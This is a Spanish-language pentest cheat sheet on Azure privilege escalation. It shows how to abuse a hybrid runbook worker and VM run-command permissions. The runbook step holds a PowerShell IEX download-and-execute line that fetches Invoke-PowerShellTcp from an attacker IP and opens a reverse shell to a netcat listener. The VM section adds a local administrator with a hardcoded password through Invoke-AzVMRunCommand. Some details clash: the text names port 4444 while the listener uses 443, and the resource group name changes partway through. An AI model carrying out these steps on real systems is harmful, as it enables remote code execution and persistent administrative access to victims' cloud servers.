# Escalada de privilegios

## <mark style="color:red;">Automation Account</mark>

```powershell
az automation account list
```

```
[
  {
    "creationTime": "2021-03-17T14:40:05.340000+00:00",
    "description": null,
    "etag": null,
    "id": "/subscriptions/b413824f-108d-4049-8c11-d52d5d386768/resourceGroups/Test/providers/Microsoft.Automation/automationAccounts/HybridAutomation",
    "lastModifiedBy": null,
    "lastModifiedTime": "2022-10-30T14:26:31.586666+00:00",
    "location": "switzerlandnorth",
    "name": "HybridAutomation",
    "resourceGroup": "Test",
    "sku": null,
    "state": null,
    "tags": {},
    "type": "Microsoft.Automation/AutomationAccounts"
  }
]
```

{% code overflow="wrap" %}

```powershell
Get-AzAutomationHybridWorkerGroup -AutomationAccountName HybridAutomation -ResourceGroupName Test
```

{% endcode %}

```
ResourceGroupName     : Test
AutomationAccountName : HybridAutomation
Name                  : Workergroup1
RunbookWorker         : {defeng-adcsrv.defeng.corp}
GroupType             : User
```

Si se cuenta con un "hybrid runbookworker" podría ser posible ejecutar comandos en el servidor. Para ello se creará un runbook que cuente con un fichero powershell que contendrá el código malicioso que nos enviará el interprete de comandos a nuestra netcat.

1. Crear un runbook:

{% code overflow="wrap" %}

```powershell
Import-AzAutomationRunbook -Name test -Path C:\Pentest\Tools\rshell.ps1 -AutomationAccountName HybridAutomation -ResourceGroupName Test -Type PowerShell -Force -Verbose
```

{% endcode %}

Contenido del fichero <mark style="color:red;">**rshell.ps1**</mark>:

{% code overflow="wrap" %}

```powershell
powershell "IEX (New-Object Net.Webclient).downloadstring('http://<IP atacante>:80/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress <IP atacante> -Port <Puerto>"
```

{% endcode %}

2. Publicar el runbook:

{% code overflow="wrap" %}

```powershell
Publish-AzAutomationRunbook -RunbookName test -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose
```

{% endcode %}

3. Se pone el puerto 4444 a la escucha con netcat en la máquina del atacante:

```
C:\AzAD\Tools\netcat\nc64.exe -lvp 443
```

4. Se ejecuta el runbook:

{% code overflow="wrap" %}

```powershell
Start-AzAutomationRunbook -RunbookName test -RunOn Workergroup1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose
```

{% endcode %}

### <mark style="color:red;">Ejecución de comandos en VM por abuso de permisos</mark>

```powershell
$passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force
New-LocalUser -Name usertest -Password $passwd 
Add-LocalGroupMember -Group Administrators -Member usertest
```

{% code overflow="wrap" %}

```
$AccessToken = '<JWT>'
Connect-AzAccount -AccessToken $AccessToken -AccountId 024aaf57-30af-45f0-840a-0e21ed143946
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Get-AzVM -Name <máquina virtual> -ResourceGroupName <nombre de grupo> | select -ExpandProperty NetworkProfile
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Invoke-AzVMRunCommand -VMName <máquina virtual> -ResourceGroupName Engineering -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Pentest\Tools\adduser.ps1' -Verbose
```

{% endcode %}